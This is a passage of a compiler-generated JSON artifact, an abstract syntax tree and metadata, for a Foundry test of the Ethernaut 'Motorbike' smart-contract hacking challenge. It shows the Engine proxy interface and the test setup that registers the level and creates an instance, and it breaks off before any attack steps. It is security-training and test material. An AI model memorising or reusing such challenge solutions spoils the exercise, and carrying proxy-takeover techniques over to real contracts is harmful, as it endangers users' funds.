c2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Motorbike.t.sol":{"keccak256":"0xc84829fa103ef079c8c8c3262c8d5d4e30e9d3ef0659fd742cbd6254ba8279c6","urls":["bzz-raw://7ffa98903dd665a2dc8c0b37ef3166f3e2d4aacebf1d117f0bbef1e87f28a6f9","dweb:/ipfs/QmUrN3ziT2BFwEmwx1hMHhgXjvT6cRxYqLPuy9fVKTg5c7"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Motorbike.t.sol","id":62795,"exportedSymbols":{"DummyFactory":[52145],"Engine":[62594],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestMotorbike":[62794],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2474:139","nodes":[{"id":62574,"nodeType":"PragmaDirective","src":"32:23:139","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":62575,"nodeType":"ImportDirective","src":"57:28:139","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":62577,"nodeType":"ImportDirective","src":"86:43:139","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":62576,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62579,"nodeType":"ImportDirective","src":"131:57:139","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":62578,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62581,"nodeType":"ImportDirective","src":"189:48:139","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":62580,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62583,"nodeType":"ImportDirective","src":"238:44:139","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":62582,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62594,"nodeType":"ContractDefinition","src":"284:127:139","nodes":[{"id":62586,"nodeType":"FunctionDefinition","src":"307:31:139","nodes":[],"functionSelector":"8129fc1c","implemented":false,"kind":"function","modifiers":[],"name":"initialize","nameLocation":"316:10:139","parameters":{"id":62584,"nodeType":"ParameterList","parameters":[],"src":"326:2:139"},"returnParameters":{"id":62585,"nodeType":"ParameterList","parameters":[],"src":"337:0:139"},"scope":62594,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":62593,"nodeType":"FunctionDefinition","src":"343:66:139","nodes":[],"functionSelector":"4f1ef286","implemented":false,"kind":"function","modifiers":[],"name":"upgradeToAndCall","nameLocation":"352:16:139","parameters":{"id":62591,"nodeType":"ParameterList","parameters":[{"constant":false,"id":62588,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":62593,"src":"369:7:139","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":62587,"name":"address","nodeType":"ElementaryTypeName","src":"369:7:139","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":62590,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":62593,"src":"378:12:139","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":62589,"name":"bytes","nodeType":"ElementaryTypeName","src":"378:5:139","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"368:23:139"},"returnParameters":{"id":62592,"nodeType":"ParameterList","parameters":[],"src":"408:0:139"},"scope":62594,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Engine","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[62594],"name":"Engine","nameLocation":"294:6:139","scope":62795,"usedErrors":[],"usedEvents":[]},{"id":62794,"nodeType":"ContractDefinition","src":"413:2092:139","nodes":[{"id":62601,"nodeType":"VariableDeclaration","src":"457:19:139","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"467:9:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":62600,"nodeType":"UserDefinedTypeName","pathNode":{"id":62599,"name":"Ethernaut","nameLocations":["457:9:139"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"457:9:139"},"referencedDeclaration":49101,"src":"457:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":62603,"nodeType":"VariableDeclaration","src":"482:24:139","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"498:8:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62602,"name":"address","nodeType":"ElementaryTypeName","src":"482:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62605,"nodeType":"VariableDeclaration","src":"513:21:139","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"529:5:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62604,"name":"address","nodeType":"ElementaryTypeName","src":"513:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62607,"nodeType":"VariableDeclaration","src":"540:22:139","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"556:6:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62606,"name":"address","nodeType":"ElementaryTypeName","src":"540:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62745,"nodeType":"FunctionDefinition","src":"749:1079:139","nodes":[],"body":{"id":62744,"nodeType":"Block","src":"773:1055:139","nodes":[],"statements":[{"assignments":[62612],"declarations":[{"constant":false,"id":62612,"mutability":"mutable","name":"users","nameLocation":"808:5:139","nodeType":"VariableDeclaration","scope":62744,"src":"783:30:139","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":62610,"name":"address","nodeType":"ElementaryTypeName","src":"783:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62611,"nodeType":"ArrayTypeName","src":"783:17:139","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":62616,"initialValue":{"arguments":[{"hexValue":"32","id":62614,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"828:1:139","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":62613,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"816:11:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":62615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"816:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"783:47:139"},{"expression":{"id":62621,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62617,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"841:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62618,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62612,"src":"849:5:139","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62620,"indexExpression":{"hexValue":"30","id":62619,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"855:1:139","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"849:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"841:16:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62622,"nodeType":"ExpressionStatement","src":"841:16:139"},{"expression":{"arguments":[{"id":62626,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"876:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":62627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"883:7:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":62623,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"867:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62625,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"870:5:139","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"867:8:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"867:24:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62629,"nodeType":"ExpressionStatement","src":"867:24:139"},{"expression":{"id":62634,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62630,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"902:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62631,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62612,"src":"911:5:139","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62633,"indexExpression":{"hexValue":"31","id":62632,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"917:1:139","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"911:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"902:17:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62635,"nodeType":"ExpressionStatement","src":"902:17:139"},{"expression":{"arguments":[{"id":62639,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"938:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":62640,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"946:8:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":62636,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"929:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"932:5:139","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"929:8:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"929:26:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62642,"nodeType":"ExpressionStatement","src":"929:26:139"},{"expression":{"arguments":[{"id":62646,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"980:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62643,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"966:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62645,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"969:10:139","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"966:13:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62647,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:20:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62648,"nodeType":"ExpressionStatement","src":"966:20:139"},{"expression":{"id":62653,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62649,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"996:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":62651,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"1035:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62650,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1008:26:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":62652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1008:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"996:45:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62654,"nodeType":"ExpressionStatement","src":"996:45:139"},{"assignments":[62657],"declarations":[{"constant":false,"id":62657,"mutability":"mutable","name":"factory","nameLocation":"1064:7:139","nodeType":"VariableDeclaration","scope":62744,"src":"1051:20:139","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":62656,"nodeType":"UserDefinedTypeName","pathNode":{"id":62655,"name":"DummyFactory","nameLocations":["1051:12:139"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"1051:12:139"},"referencedDeclaration":52145,"src":"1051:12:139","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":62663,"initialValue":{"arguments":[{"arguments":[{"hexValue":"4d6f746f7262696b65466163746f7279","id":62660,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1101:18:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_8204f06fcf202945b78fa7fcf1d3b2817a38755d46370121173c8eb2c099eaaa","typeString":"literal_string \"MotorbikeFactory\""},"value":"MotorbikeFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8204f06fcf202945b78fa7fcf1d3b2817a38755d46370121173c8eb2c099eaaa","typeString":"literal_string \"MotorbikeFactory\""}],"id":62659,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1087:13:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":62661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1087:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62658,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1074:12:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":62662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1074:47:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"1051:70:139"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":62670,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62657,"src":"1169:7:139","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":62669,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1161:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62668,"name":"address","nodeType":"ElementaryTypeName","src":"1161:7:139","typeDescriptions":{}}},"id":62671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1161:16:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62667,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1155:5:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1155:23:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":62664,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"1131:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1141:13:139","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1131:23:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":62673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1131:48:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62674,"nodeType":"ExpressionStatement","src":"1131:48:139"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62675,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1189:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62677,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1192:9:139","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1189:12:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62679,"nodeType":"ExpressionStatement","src":"1189:14:139"},{"expression":{"arguments":[{"id":62683,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"1410:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62680,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1396:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62682,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1399:10:139","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1396:13:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1396:21:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62685,"nodeType":"ExpressionStatement","src":"1396:21:139"},{"expression":{"id":62700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62686,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"1427:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":62690,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"1466:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":62694,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62657,"src":"1491:7:139","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":62693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1483:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62692,"name":"address","nodeType":"ElementaryTypeName","src":"1483:7:139","typeDescriptions":{}}},"id":62695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1483:16:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62691,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1477:5:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1477:23:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":62697,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1502:1:139","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":62689,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1446:19:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":62698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1446:58:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1438:8:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62687,"name":"address","nodeType":"ElementaryTypeName","src":"1438:8:139","stateMutability":"payable","typeDescriptions":{}}},"id":62699,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1438:67:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1427:78:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 